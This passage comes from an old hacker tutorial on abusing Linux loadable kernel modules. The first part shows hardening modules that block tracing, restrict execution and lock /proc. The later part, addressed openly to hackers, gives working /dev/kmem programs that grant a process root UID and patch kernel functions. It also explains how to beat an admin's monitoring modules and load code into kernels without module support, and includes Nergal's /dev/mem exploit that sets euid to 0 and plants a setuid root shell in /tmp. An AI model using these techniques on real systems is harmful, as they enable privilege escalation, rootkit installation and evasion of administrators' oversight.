3620   dest[compt++] = __get_user(tmp++, 1);
3621  }
3622  while ((dest[compt - 1] != '\0') && (compt != n));
3623   return dest;
3624 }
3625
3626 int my_execve(const char *filename, const char *argv[], const char *envp[])
3627 {
3628  long __res;
3629  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
3630                   (filename)), "c"((long) (argv)), "d"((long) (envp)));
3631  return (int) __res;
3632 }
3633
3634
3635 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3636 {
3637  int ret, tmp;
3638  unsigned long mmm;
3639  char *kfilename;
3640
3641  /*check for the flags*/
3642  if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { 
3643   /*we are traced, so print the traced process (program name) and return
3644   without execution*/
3645   kfilename = (char *) kmalloc(256, GFP_KERNEL);
3646   (void) strncpy_fromfs(kfilename, filename, 255);
3647   printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
3648   kfree(kfilename);
3649   return 0;
3650  }
3651  ret = my_execve(filename, argv, envp);
3652  return ret;
3653 }
3654
3655 int init_module(void)                /*module setup*/
3656 {
3657  __NR_myexecve = 200;
3658  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3659   __NR_myexecve--;
3660  orig_execve = sys_call_table[SYS_execve];
3661  if (__NR_myexecve != 0) 
3662  {
3663   sys_call_table[__NR_myexecve] = orig_execve; 
3664   sys_call_table[SYS_execve] = (void *) hacked_execve;
3665  }
3666  return 0;
3667 }
3668
3669 void cleanup_module(void)            /*module shutdown*/
3670 {
3671  sys_call_table[SYS_execve]=orig_execve;                                      
3672 }
3673 <xmp>
3674
3675 This LKM also logs any executable someone wanted to execute with tracing. Well
3676 this LKM checks for some flags, but what if you start tracing a program which
3677 is already running. Just imagine a program (shell or whatever) running with the
3678 PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
3679 hooking sys_ptrace(...) is the only way. Look at the following module :
3680
3681 <xmp>
3682 #define MODULE
3683 #define __KERNEL__
3684
3685 #include <linux/module.h>
3686 #include <linux/kernel.h>
3687 #include <asm/unistd.h>
3688 #include <sys/syscall.h>
3689 #include <sys/types.h>
3690 #include <asm/fcntl.h>
3691 #include <asm/errno.h>
3692 #include <linux/types.h>
3693 #include <linux/dirent.h>
3694 #include <sys/mman.h>
3695 #include <linux/string.h>
3696 #include <linux/fs.h>
3697 #include <linux/malloc.h>
3698
3699 extern void* sys_call_table[];
3700
3701
3702 int (*orig_ptrace)(long request, long pid, long addr, long data);
3703
3704 int hacked_ptrace(long request, long pid, long addr, long data)
3705 {
3706  printk("TRACING IS NOT ALLOWED\n");
3707  return 0;
3708 }
3709
3710
3711 int init_module(void)                /*module setup*/
3712 {
3713  orig_ptrace=sys_call_table[SYS_ptrace];
3714  sys_call_table[SYS_ptrace]=hacked_ptrace;
3715  return 0;
3716 }
3717
3718 void cleanup_module(void)            /*module shutdown*/
3719 {
3720  sys_call_table[SYS_ptrace]=orig_ptrace;                                      
3721 }
3722 <xmp>
3723
3724 Use this LKM and no one will be able to trace anymore.
3725
3726
3727 <H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>
3728
3729 This section subject may sound familiar to Phrack readers. Route introduced nice
3730 ideas for making the Linux system more secure. He used some patches. I want to
3731 show that some ideas can also be implemented by LKMs. Remember that without
3732 hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
3733 do), because route's patches are also worthless if someone rooted the system;
3734 and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
3735 The advantage of using LKMs instead of a static kernel patch : you can easily
3736 manage the whole system security, and install it more easily on running system.
3737 It's not necessary to install a new kernel on sensitive system you need every
3738 second.<br>
3739 The Phrack patches also added some logging feature's which I did not implement
3740 but there are thousand ways to do it.The simpelst way would be using printk(...)
3741 [Note : I did not look at every aspect of route's patches. Perhaps real good
3742 kernel hackers would be able to do more with LKMs.]
3743
3744
3745 <H4><A NAME="III.4.1."></A>4.1  Why should we allow arbitrary programs execution rights? </h4>
3746
3747 The following LKM is something like route's kernel patch that checks for 
3748 execution rights :
3749
3750 <xmp>
3751 #define __KERNEL__
3752 #define MODULE
3753
3754
3755 #include <linux/version.h>
3756 #include <linux/mm.h>
3757 #include <linux/unistd.h>
3758 #include <linux/fs.h>
3759 #include <linux/types.h>
3760 #include <asm/errno.h>
3761 #include <asm/string.h>
3762 #include <linux/fcntl.h>
3763 #include <sys/syscall.h>
3764 #include <linux/module.h>
3765 #include <linux/malloc.h>
3766 #include <linux/kernel.h>
3767 #include <linux/kerneld.h>
3768
3769 /* where the sys_calls are */
3770
3771 int __NR_myexecve = 0;
3772
3773 extern void *sys_call_table[];
3774
3775 int (*orig_execve) (const char *, const char *[], const char *[]);
3776
3777 int (*open)(char *, int, int);
3778 int (*close)(int);
3779
3780
3781 char *strncpy_fromfs(char *dest, const char *src, int n)
3782 {
3783  char *tmp = src;
3784  int compt = 0;
3785
3786  do {
3787   dest[compt++] = __get_user(tmp++, 1);
3788  }
3789  while ((dest[compt - 1] != '\0') && (compt != n));
3790  return dest;
3791 }
3792
3793 int my_execve(const char *filename, const char *argv[], const char *envp[])
3794 {
3795  long __res;
3796  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
3797  (filename)), "c"((long) (argv)), "d"((long) (envp)));
3798  return (int) __res;
3799 }
3800
3801 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3802 {
3803  int fd = 0, ret;
3804  struct file *file;
3805
3806  /*we need the inode strucure*/
3807  /*I use the open approach here, because you should understand it from the LKM
3808  infector, read on for seeing a better approach*/
3809  fd = open(filename, O_RDONLY, 0); 
3810         
3811  file = current->files->fd[fd];
3812
3813  /*is this a root file ?*/
3814  /*Remember : you can do other checks here (route did more checks), but this
3815               is just for demonstration. Take a look at the inode structur to
3816               see other items to heck for (linux/fs.h)*/
3817  if (file->f_inode->i_uid!=0)
3818  {
3819   printk("<1>Execution denied !\n");
3820   close(fd);
3821   return -1;
3822  }
3823  else /*otherwise let the user execute the file*/
3824  {
3825   ret = my_execve(filename, argv, envp);
3826   return ret;
3827  }
3828 }
3829
3830 int init_module(void)                /*module setup*/
3831 {
3832  printk("<1>INIT \n");
3833  __NR_myexecve = 250;
3834  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3835   __NR_myexecve--;
3836  orig_execve = sys_call_table[SYS_execve];
3837  if (__NR_myexecve != 0) 
3838  {
3839   printk("<1>everything OK\n");
3840   sys_call_table[__NR_myexecve] = orig_execve; 
3841   sys_call_table[SYS_execve] = (void *) hacked_execve;
3842  }
3843
3844  open = sys_call_table[__NR_open]; 
3845  close = sys_call_table[__NR_close];     
3846  return 0;
3847 }
3848
3849 void cleanup_module(void)            /*module shutdown*/
3850 {
3851  sys_call_table[SYS_execve]=orig_execve;                                      
3852 }
3853 </xmp>
3854
3855 This is not exactly the same as route's kernel patch. route checked the <i>path</i>
3856 we check the <i>file</i> (a path check would also be possible, but in my opinion a
3857 file check is also the better way). I only implemented a check for UID of the
3858 file, so an admin can filter the file execution process. As I said the open /
3859 fd approach I used above is not the easiest way; I took it because it should be
3860 familiar to you (remember, the LKM infector used this method). For our purpose
3861 the following kernel function is also possible (easier way) :
3862
3863 <xmp>
3864 int namei(const char *pathname, struct inode **res_inode);
3865
3866 int lnamei(const char *pathname, struct inode **res_inode);
3867 </xmp>
3868
3869 Those functions take a certain pathname and return the corresponding inode 
3870 structure. The difference between the functions above lies in the symlink
3871 resolving : lnamei does <i>not</i> resolve a symlink and returns the inode structure
3872 for the symlink itself. As a hacker you could also modify inodes. Just retrieve
3873 them by hooking sys_execve(...) and using namei(...) (the way we use also for
3874 execution control) and manipulate the inode (I will show a practical example
3875 of this idea in 5.3).
3876
3877 <H4><A NAME="III.4.2."></A>4.2 The Link Patch</h4>
3878
3879 Every Linux user knows that symlink bugs are something which often leads to
3880 serious problems if it comes to system security. Andrew Tridgell developed a
3881 kernel patch which prevents a process from 'following a link which is in a +t
3882 (mostly /tmp/) directory unless they own the link'. Solar Designer added some
3883 code which also prevents users from creating hard links in a +t directory to
3884 files they don't own.<br>
3885 I have to admit that the symlink patch lies on a layer we can't easily reach
3886 from our LKM psotion. There are neither exported symbols we could patch nor any
3887 systemcalls  we could intercept. The symlink resolving is done by the VFS. Take
3888 a look at part IV for methods which could help us to solve this problem (but I
3889 would not use the methods from IV to <i>secure</i> a system). You may wonder why I
3890 don't use the sys_readlink(...) systemcall for solving the problem. Well this
3891 call is used if you do a 'ls -a symlink' but it is not called if you issue a
3892 'cat symlink'.<br>
3893 In my opinion you should leave this as a kernel patch. Of course you can code
3894 a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a 
3895 user from creating symlinks in the /tmp directory. Look at the hard link LKM
3896 for a similar implementation.<br>
3897 Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar
3898 Designer's idea concerning hard link restrictions. This can be done as LKM. We
3899 only need to intercept sys_link(...) which is responsible for creating any hard
3900 links.Let's take a look at hacked systemcall (the code fragment does not exactly
3901 the same as the kernel patch, because we only check for the '/tmp/' directory,
3902 not for the sticky bit(+t),but this can also be done with looking at the inode
3903 structure of the directoy [see 5.1]) :
3904
3905 <xmp>
3906 int hacked_link(const char *oldname, const char *newname)
3907 {
3908  char *kernel_newname;
3909  int fd = 0, ret;
3910  struct file *file;
3911
3912  kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
3913  memcpy_fromfs(kernel_newname, newname, 255);
3914
3915  /*hard link to /tmp/ directory ?*/
3916  if (strstr(kernel_newname, (char*)&hide ) != NULL)
3917  {
3918   kfree(kernel_newname);
3919
3920   /*I use the open approach again :)*/
3921   fd = open(oldname, O_RDONLY, 0); 
3922        
3923   file = current->files->fd[fd];
3924
3925   /*check for UID*/
3926   if (file->f_inode->i_uid!=current->uid)
3927   {
3928    printk("<1>Hard Link Creation denied !\n");
3929    close(fd);
3930    return -1;
3931   }
3932  }
3933  else
3934  {
3935   kfree(kernel_newname);
3936   /*everything ok -> the user is allowed to create the hard link*/
3937   return orig_link(oldname, newname);
3938  }
3939 }
3940 </xmp>
3941 This way you could also control the symlink <i>creation</i>.
3942
3943 <H4><A NAME="III.4.3."></A>4.3 The /proc permission patch</h4>
3944
3945 I already showed you some ways how to hide some process information.route's idea
3946 is different to our hide approach. He wants to limit the /proc/ access (needed
3947 for access to process information) by changing the directory permissions. So 
3948 he patched the proc inode. The following LKM will do exactly the same without a
3949 static kernel patch. If you load it a user will not be allowed to read the proc
3950 fs, if you unload it he will be able to. Here we go :
3951
3952 <xmp>
3953 /*very bad programming style (perhaps we should use a function for the
3954   indode retrieving), but it works...*/
3955 #define __KERNEL__
3956 #define MODULE
3957 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
3958 #define END_KMEM   set_fs(old_fs);}
3959
3960 #include <linux/version.h>
3961 #include <linux/mm.h>
3962 #include <linux/unistd.h>
3963 #include <linux/fs.h>
3964 #include <linux/types.h>
3965 #include <asm/errno.h>
3966 #include <asm/string.h>
3967 #include <linux/fcntl.h>
3968 #include <sys/syscall.h>
3969 #include <linux/module.h>
3970 #include <linux/malloc.h>
3971 #include <linux/kernel.h>
3972 #include <linux/kerneld.h>
3973
3974 extern void *sys_call_table[];
3975
3976 int (*open)(char *, int, int);
3977 int (*close)(int);
3978
3979
3980 int init_module(void)                /*module setup*/
3981
3982  int fd = 0;
3983  struct file *file;
3984  struct inode *ino;
3985  
3986  /*again the open(...) way*/
3987  open = sys_call_table[SYS_open]; 
3988  close = sys_call_table[SYS_close];
3989
3990  /*we have to supplie some kernel space data for the systemcall*/
3991  BEGIN_KMEM
3992  fd = open("/proc", O_RDONLY, 0); 
3993  END_KMEM
3994  printk("%d\n", fd);
3995  file = current->files->fd[fd];
3996
3997  /*here's the inode for the proc directory*/
3998  ino= file->f_inode;
3999
4000  /*modify permissions*/
4001  ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;
4002
4003  close(fd);
4004  return 0;
4005 }
4006
4007 void cleanup_module(void)            /*module shutdown*/
4008 {
4009  int fd = 0;
4010  struct file *file;
4011  struct inode *ino;
4012  
4013  BEGIN_KMEM
4014  fd = open("/proc", O_RDONLY, 0); 
4015  END_KMEM
4016  printk("%d\n", fd);
4017  file = current->files->fd[fd];
4018
4019  /*here's the inode for the proc directory*/
4020  ino= file->f_inode;
4021
4022  /*modify permissions*/
4023  ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;
4024
4025  close(fd);
4026 }
4027 </xmp>
4028
4029 Just load this module and try a ps, top or whatever, it won't work. Every access
4030 to the /proc directory is totally denied. Of course, as root you are still
4031 allowed to view every process and anything else; this is just a permission patch
4032 in order to keep your users silly.<br>
4033 [Note : This is a practical implementation of modifying inodes 'on the fly' you
4034  should see many possibilities how to abuse this.]
4035
4036 <H4><A NAME="III.4.4."></A>4.4 The securelevel patch</h4>
4037
4038
4039 The purpose of this patch : I quote route 
4040 <blockquote>
4041 "This patch isn't really much of a patch.  It simply bumps the securelevel
4042 up, to 1 from 0.  This freezes the immutable and append-only bits on files,
4043 keeping anyone from changing them (from the normal chattr interface).  Before
4044 turning this on, you should of course make certain key files immutable, and
4045 logfiles append-only.  It is still possible to open the raw disk device,
4046 however.  Your average cut and paste hacker will probably not know how to do
4047 this."
4048 </blockquote>
4049 Ok this one is really easy to implement as a LKM. We are lucky because the symbol
4050 responsible for the securelevel is public (see /proc/ksyms) so we can easily 
4051 change it. I won't present an example for this bit of code, just import secure
4052 level and set it in the module's init function.
4053
4054 <H4><A NAME="III.4.5."></A>4.5 The rawdisk patch</h4>
4055
4056 I developed an easy way to avoid tools like THC's manipate-data.<br>
4057 Those tools are used by hackers to search the hard disk for their origin IP address or DNS name. 
4058 After finding it they modify or remove the entry from the hard disk. For doing
4059 all this they need access to the /dev/* files for opening the rawdisk. Of course
4060 they can only do this after rooting the system. So what can we do about this. I
4061 found that the following way helps to prevent those attacks [of course there are
4062 again thousand ways to defeat that protection :(] :
4063 <ul>
4064 <li> boot your system<br>
4065 <li> install a LKM which prevents direct (dev/*) access to your partition you save
4066   your logs<br>
4067 </ul>
4068
4069 This works because the system (normally) only needs direct access to the rawdisk
4070 during the some (seldom) operationes. The LKM just intercepts sys_open(...) and
4071 filter for the needed dev-file. I think it's not necessary to show how to code
4072 it, take a look at II.4.2). This way you can protect any /dev/* file. The
4073 problem is that this way nobody can access them directly while the LKM is
4074 loaded. <br>
4075 [Note : There are some functions which will not work / crash the system, but
4076 a normal web-, or mailserver should work with this patch.]
4077
4078
4079
4080 <u><b>
4081 <H2>IV. Some Better Ideas (for hackers)</H2>
4082 </u></b>
4083 <P><P>
4084
4085
4086
4087 <H3><A NAME="IV.1."></A>1. Tricks to beat admin LKMs</h3>
4088
4089 This part will give us some notes on playing with the kernel on systems where
4090 you have a paranoid (good) admin. After explaining all the ways admins can
4091 protect a system, it is very hard to find better ways for us (hackers). <br>
4092 We need to leave the LKM field for some seconds in order to beat those hard
4093 protections.<br>
4094 Imagine a system where an admin has installed a very good and big monitor LKM
4095 which checks every action on that system. It can do everything mentioned in part
4096 II and III.<br>
4097 The first way to get rid of this LKM is trying to reboot the system, perhaps the
4098 admin did not load this LKM from an init file.  So try some DoS Attacks or
4099 whatever works. If you still cannot kill this LKM try to look at some important
4100 files, but be careful, some files may be protected / monitored (see appendix A
4101 for such a LKM).<br>
4102 If you really cannot see where the LKM is loaded etc., forget the system
4103 or risk installing a backdoor, which you cannot hide (process/file). But if an
4104 admin really uses such a 'mega' LKM, forget the system, he might really be good
4105 and you may get some trouble. For those who even want to beat that system read
4106 section 2.
4107
4108 <H3><A NAME="IV.2."></A>2. Patching the whole kernel - or creating the Hacker-OS</h3>
4109
4110 [Note : This section may sound a bit off topic, but in the end I'll present a
4111 nice idea (program that was developed by Silvio Cesare which will also help us
4112 using our LKMs. This section will only give a summary of the whole kmem problem
4113 due to the fact that we only need to focus on the idea by Silvio Cesare.]<br>
4114 Ok LKM's are nice. But what if the admin is like the one described in 1. He does
4115 everything in order to prevent us from using our nice LKM techniques from part
4116 II. He even patched his own kernel, to make his system secure. He uses a kernel
4117 without native LKM support.<br>
4118 So now it's time to make our last step :  Runtime Kernel Patching.  The basic
4119 ideas in this section come from some sources I found (kmemthief etc) and a paper
4120 by Silvio Cesare which describes a general approach to modifying kernel symbols.
4121 In my opinion this kind of attack is one of the strongest concerning 'kernel 
4122 hacking'. I don't undersand every Un*x kernel out there, but this approac can 
4123 help you on many systems. This section describes Runtime Kernel Patching, but
4124 what about kernelfile patching. Every system has a file which represents the
4125 plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a 
4126 kernel file, but what about the commercial ones ? I never tried it, but I think
4127 this would really be interesting : Imagine backdoor'ing a system thru a kernel
4128 patch. You only have to do a reboot or wait for one (every system must reboot
4129 sometimes :). But this text will only deal with the runtime approach. You may
4130 say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you 
4131 don't want to know how to patch the whole Linux kernel. Well this section will
4132 help us to 'insmod' LKMs on systems which are very secure and have no LKM 
4133 support in their kernel. So we learn something which will help us with our LKM
4134 abusing.<br>
4135 So let's start with the most important thing we have to deal with if we want to
4136 do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible
4137 for us to take a look (and modify) the complete virtual memory of our target 
4138 system. [Note : Remember that the RKP approach is in most cases only useful, if
4139 you rooted a system. Only very unsecure systems will give normal users access to
4140 that file].<br>
4141 As I said before /dev/kmem gives us the chance to see every memory byte of our
4142 system (plus swap). This means we can also access the whole memory which allows
4143 us to manipulate any kernel item in the memory (because the kernel is only some
4144 objectcode loaded into system memory). Remember the /proc/ksyms file which shows
4145 us every address of an exported kernel symbol. So we know where to modify memory
4146 in order to manipulate some kernel symbols. Let's take a look at a very basic
4147 example which is know for a very long time. The following (user space) program
4148 takes the task_structure address (look for kstat in /proc/ksyms) and a certain
4149 PID. After seacxhing the task structure that stands for the specified PID it
4150 modifies every user id field in order to make this process UID=0. Of course
4151 today this program is nearly of no use, because most systems don't even allow
4152 a normal user to read /dev/kmem but it is a good introduction into RKP.
4153
4154 <xmp>
4155 /*Attention : I implemented no error checking!*/
4156 #include <stdio.h>
4157 #include <stdlib.h>
4158 #include <unistd.h>
4159 #include <fcntl.h>
4160
4161 /*max. number of task structures to iterate*/
4162 #define NR_TASKS        512
4163
4164 /*our task_struct -> I only use the parts we need*/
4165 struct task_struct {
4166  char a[108];              /*stuff we don't need*/
4167  int pid;
4168  char b[168];              /*stuff we don't need*/
4169  unsigned short uid,euid,suid,fsuid;
4170  unsigned short gid,egid,sgid,fsgid;
4171  char c[700];              /*stuff we don't need*/
4172 };
4173
4174
4175 /*here's the original task_structure, to show you what else you can modify
4176 struct task_struct {
4177  volatile long state;   
4178  long counter;
4179  long priority;
4180  unsigned long signal;
4181  unsigned long blocked;
4182  unsigned long flags;
4183  int errno;
4184  long debugreg[8]; 
4185  struct exec_domain *exec_domain;
4186  struct linux_binfmt *binfmt;
4187  struct task_struct *next_task, *prev_task;
4188  struct task_struct *next_run,  *prev_run;
4189  unsigned long saved_kernel_stack;
4190  unsigned long kernel_stack_page;
4191  int exit_code, exit_signal;
4192  unsigned long personality;
4193  int dumpable:1;
4194  int did_exec:1;
4195  int pid;
4196  int pgrp;
4197  int tty_old_pgrp;
4198  int session;
4199  int leader;
4200  int    groups[NGROUPS];
4201  struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
4202  struct wait_queue *wait_chldexit;
4203  unsigned short uid,euid,suid,fsuid;
4204  unsigned short gid,egid,sgid,fsgid;
4205  unsigned long timeout, policy, rt_priority;
4206  unsigned long it_real_value, it_prof_value, it_virt_value;
4207  unsigned long it_real_incr, it_prof_incr, it_virt_incr;
4208  struct timer_list real_timer;
4209  long utime, stime, cutime, cstime, start_time;
4210  unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
4211  int swappable:1;
4212  unsigned long swap_address;
4213  unsigned long old_maj_flt;     
4214  unsigned long dec_flt;         
4215  unsigned long swap_cnt;        
4216  struct rlimit rlim[RLIM_NLIMITS];
4217  unsigned short used_math;
4218  char comm[16];
4219  int link_count;
4220  struct tty_struct *tty; 
4221  struct sem_undo *semundo;
4222  struct sem_queue *semsleeping;
4223  struct desc_struct *ldt;
4224  struct thread_struct tss;
4225  struct fs_struct *fs;
4226  struct files_struct *files;
4227  struct mm_struct *mm;
4228  struct signal_struct *sig;
4229  #ifdef __SMP__
4230   int processor;
4231   int last_processor;
4232   int lock_depth;       
4233  #endif 
4234 };
4235 */
4236
4237 int main(int argc, char *argv[])
4238 {
4239  unsigned long task[NR_TASKS];
4240  /*used for the PID task structure*/
4241  struct task_struct current;
4242  int kmemh;
4243  int i;
4244  pid_t pid;
4245  int retval;
4246
4247  pid = atoi(argv[2]);
4248
4249  kmemh = open("/dev/kmem", O_RDWR);
4250         
4251  /*seek to memory address of the first task structure*/
4252  lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);
4253  read(kmemh, task, sizeof(task));
4254         
4255  /*iterate till we found our task structure (identified by PID)*/
4256  for (i = 0; i < NR_TASKS; i++) 
4257  {
4258   lseek(kmemh, task[i], SEEK_SET);
4259   read(kmemh, &current, sizeof(current));
4260   /*is it our process?*/
4261   if (current.pid == pid) 
4262   {
4263    /*yes, so change the UID fields...*/
4264    current.uid = current.euid = 0;
4265    current.gid = current.egid = 0;
4266    /*write them back to memory*/
4267    lseek(kmemh, task[i], SEEK_SET);
4268    write(kmemh, &current, sizeof(current));
4269    printf("Process was found and task structure was modified\n");
4270    exit(0);
4271   }
4272  }
4273 }
4274 </xmp>
4275
4276 Nothing special about this little program. It's just like searching a certain
4277 pattern in a file and changing some fields. There are lots of programs out 
4278 there which are doing stuff like that. As you can see the example above won't
4279 help you attacking a system, it's just for demonstration (but there mayby some
4280 poor systems allowing users to write to /dev/kmem, I don't know).<br>
4281 The same way you can change the module structures responsible for holding the
4282 kernel's module information. This way you can also hide a module, just by 
4283 patching kmem; I don't present an implementation of this, because it is basicly
4284 the same as the program above (ok, the searching is a bit harder ;)).<br>
4285 The way above we modified a kernel structure. There are some programs doing 
4286 things like that. But what about functions ? Well seach the internet and you
4287 will soon recognize that there are not so many programs doing things like that.
4288 Well, of course patching a kernel function (we will do more useful things later)
4289 is a bit tricky. The best way would be to play with the sys_call_table structure
4290 which will point to a completely new function made by us. Otherwise there would
4291 be some problems concerning function size and so on. The following example is
4292 just a very easy program making every systemcall doing nothing. I just insert
4293 a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.
4294 This way the function will return immediately doing nothing.<br>
4295
4296 <xmp>
4297 /*again no error checking*/
4298 #include <stdio.h>
4299 #include <stdlib.h>
4300 #include <unistd.h>
4301 #include <fcntl.h>
4302
4303 /*just our RET opcode*/
4304 unsigned char asmcode[]={0xc3};
4305
4306 int main(int argc, char *argv[])
4307 {
4308  unsigned long counter;
4309  int kmemh;
4310
4311  /*open device*/
4312  kmemh = open("/dev/kmem", O_RDWR);
4313         
4314  /*seek to memory address where the function starts*/
4315  lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);
4316
4317  /*write our patch byte*/
4318  write(kmemh, &asmcode, 1):
4319
4320  close(kmemh);
4321 }
4322 </xmp>
4323
4324 Let's summarize what we know so far : We can modify any kernel symbol; this 
4325 includes things like sys_call_table[] and any other function or structure.<br>
4326 Remember that every kernel patching can only be done if we can access /dev/kmem
4327 but there are also ways how to protect this file. Take a look at III.5.5.
4328
4329 <H4><A NAME="IV.2.1."></A>2.1  How to find kernel symbols in /dev/kmem</h4>
4330
4331 After the basic examples above you could ask how to modify <i>any</i> kernel symbol
4332 and how to find interesting ones. In the example above we used /proc/ksyms to
4333 get the address we need to modify a symbol. But what do we have on systems
4334 with no lkm support build into their kernel, there won't be a /proc/ksyms file,
4335 because it is only used for module management (public / available symbols)?
4336 And what about kernel symbols that are not exported, how can we modify them ?<br>
4337 Many questions, so let's find some solutions. Silvio Cesare discussed some
4338 ways finding different kernel symbols (public & non-public ones). He outlines
4339 that while compiling the linux kernel a file called 'System.map' is created
4340 which maps every kernel symbol to a fixed address. This file is only needed 
4341 during compilation for resolving those kernel symbols. The running systems has
4342 no need for that file.The addresses used for compilation are the same we can use
4343 to seek /dev/kmem. So the general approach would be :
4344 <ul>
4345 <li>lookup System.map for the needed kernel symbol <br>
4346 <li>take the address we found <br>
4347 <li>modify the kernel symbol (structure, function, or whatever)<br>
4348 </ul>
4349 Sounds quite easy. But there is one big problem. Every system which does not 
4350 use exactly <i>our</i> kernel will have other addresses for their kernel symbols.<br>
4351 And on most systems you won't find a helpful System.map file telling us every
4352 address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take
4353 your kernel, read the first 10 bytes (just a random value) of a symbol address 
4354 and take them as a key for searching the same symbol in another kernel.<br>
4355 If you cannot build a generic key for a certain symbol you may try to find some
4356 relations from this symbol to other kernel symbols you can create generic keys 
4357 for. Finding relations can be done by looking up the kernel sources; this way
4358 you can also find interesting kernel symbols you could modify (patch).<br>
4359
4360 <H4><A NAME="IV.2.2."></A>2.2 The new 'insmod' working without kernel support </h4>
4361
4362 Now it's time to go back to our LKM hacking. This section will give you some
4363 hints concerning Silvio Cesare's kinsmod program. I will only outline the 
4364 general working. The most complicated part of the program is the objectcode
4365 handling (elf file) and its kernel space mapping. But this is only a problem
4366 of the elf header processing nothing kernel specific. Silvio Cesare used elf
4367 files because this way you can insert [normal] LKMs. It would also be possible
4368 to write a file (just opcodes -> see me RET example) and inserting this file
4369 which would be harder to could but essier to map. For those who really want to
4370 understand the elf file handling I added Silvio Cesare's file to this text (I've
4371 also done it because Silvio Cesare wants his sources / ideas only be distributed
4372 within the whole file).<br>
4373 Now it's time to look at the general ideas of inserting LKMs on a system without
4374 support for that feature.<br>
4375 The first problem we are faced to if we want to insert code (a LKM or whatever)
4376 into the kernel is the need for memory. We can't take a random address and write
4377 our objectcode to /dev/kmem. So where can we put our code in a way it does not
4378 hurt the running system and will not be removed due to some memory operation in
4379 kernel space. There's one place where we can insert a bit of code, take a look
4380 at the following figure showing the general kernel memory :
4381 <xmp>
4382  kernel data 
4383  ...
4384  kmalloc pool
4385 </xmp>
4386 The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).
4387 We cannot put our code into this pool because we cannot be sure that the address
4388 space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool
4389 borders in memory are saved in memory_start and memory_end which are exported
4390 by the kernel (see /proc/ksyms). The interesting point about this is that the 
4391 start address (memory_start) is <i>not</i> exactly the kmalloc pool start adress, 
4392 because this address is aligned to the next page border of memory_start.So there
4393 is a bit of memory which will never be used (between memory_start and the real
4394 start of the kmalloc pool). This is the best place to insert our code. Ok this
4395 is not the whole story, you may recognize that no useful LKM will fit into this
4396 little buffer. Silvio Cesare used some bootstrap code he put into this little
4397 buffer; this code loads the actual LKM. This way we can load LKMs on systems
4398 without support for this. Please read Silvio Cesare's paper for a in-depth 
4399 discussion on actually mapping a LKM file (elf format) into the kernel; this
4400 is a bit difficult.
4401
4402 <H3><A NAME="IV.3."></A>3. Last words</h3>
4403
4404 Section 2 was nice, but what about systems which do not permit access to kmem?
4405 Well a last way would be inserting/modifying kernel space with the help of some
4406 kernel bugs. There are always some buffer overflows and other problems in kernel
4407 space. Also consider checking modules for some bugs. Just take a look at the many
4408 source files of the kernel. Even user space programs can help us to modify the
4409 kernel.<br>
4410 Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program
4411 using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also
4412 be used for RKP with the same adresses as /dev/kmem. So look at the following 
4413 list, to get some ideas how to do RKP on very secure systems :
4414 <ul>
4415 <li>find a program that uses svgalib<br>
4416 <li>check the source of that program for common buffer overflows (should be not
4417 too hard)
4418 <li>write an exploit which starts a program using the open /dev/mem write handle
4419 to manipulate the appropriate task structure to make your process UID 0
4420 <li>create a root shell
4421 </ul>
4422 This generic scheme works very fine (zgv, gnuplot or some know examples). For
4423 patching the task structure some people use the following program (which uses
4424 the open write handle) by Nergal :
4425 <XMP>
4426 /* by Nergal */
4427 #define SEEK_SET 0
4428
4429 #define __KERNEL__
4430 #include <linux/sched.h>
4431 #undef __KERNEL__
4432
4433 #define SIZEOF sizeof(struct task_struct)
4434
4435 int mem_fd;
4436 int mypid;
4437
4438 void
4439 testtask (unsigned int mem_offset)
4440 {
4441   struct task_struct some_task;
4442   int uid, pid;
4443   lseek (mem_fd, mem_offset, SEEK_SET);
4444   read (mem_fd, &some_task, SIZEOF);
4445   if (some_task.pid == mypid)   /* is it our task_struct ? */
4446     {
4447       some_task.euid = 0;
4448       some_task.fsuid = 0;      /* needed for chown */
4449       lseek (mem_fd, mem_offset, SEEK_SET);
4450       write (mem_fd, &some_task, SIZEOF);
4451       /* from now on, there is no law beyond do what thou wilt */
4452       chown ("/tmp/sh", 0, 0);
4453       chmod ("/tmp/sh", 04755);
4454       exit (0);
4455     }
4456 }
4457 #define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */
4458 main ()                   /*      by doing strings /proc/ksyms |grep kstat  */
4459 {
4460   unsigned int i;
4461   struct task_struct *task[NR_TASKS];
4462   unsigned int task_addr = KSTAT - NR_TASKS * 4;
4463   mem_fd = 3;                   /* presumed to be opened /dev/mem */
4464   mypid = getpid ();
4465   lseek (mem_fd, task_addr, SEEK_SET);
4466   read (mem_fd, task, NR_TASKS * 4);
4467   for (i = 0; i < NR_TASKS; i++)
4468     if (task[i])
4469       testtask ((unsigned int)(task[i]));
4470
4471 }
4472 </xmp>
4473 This was just an example to show you that there is always one way, you only have
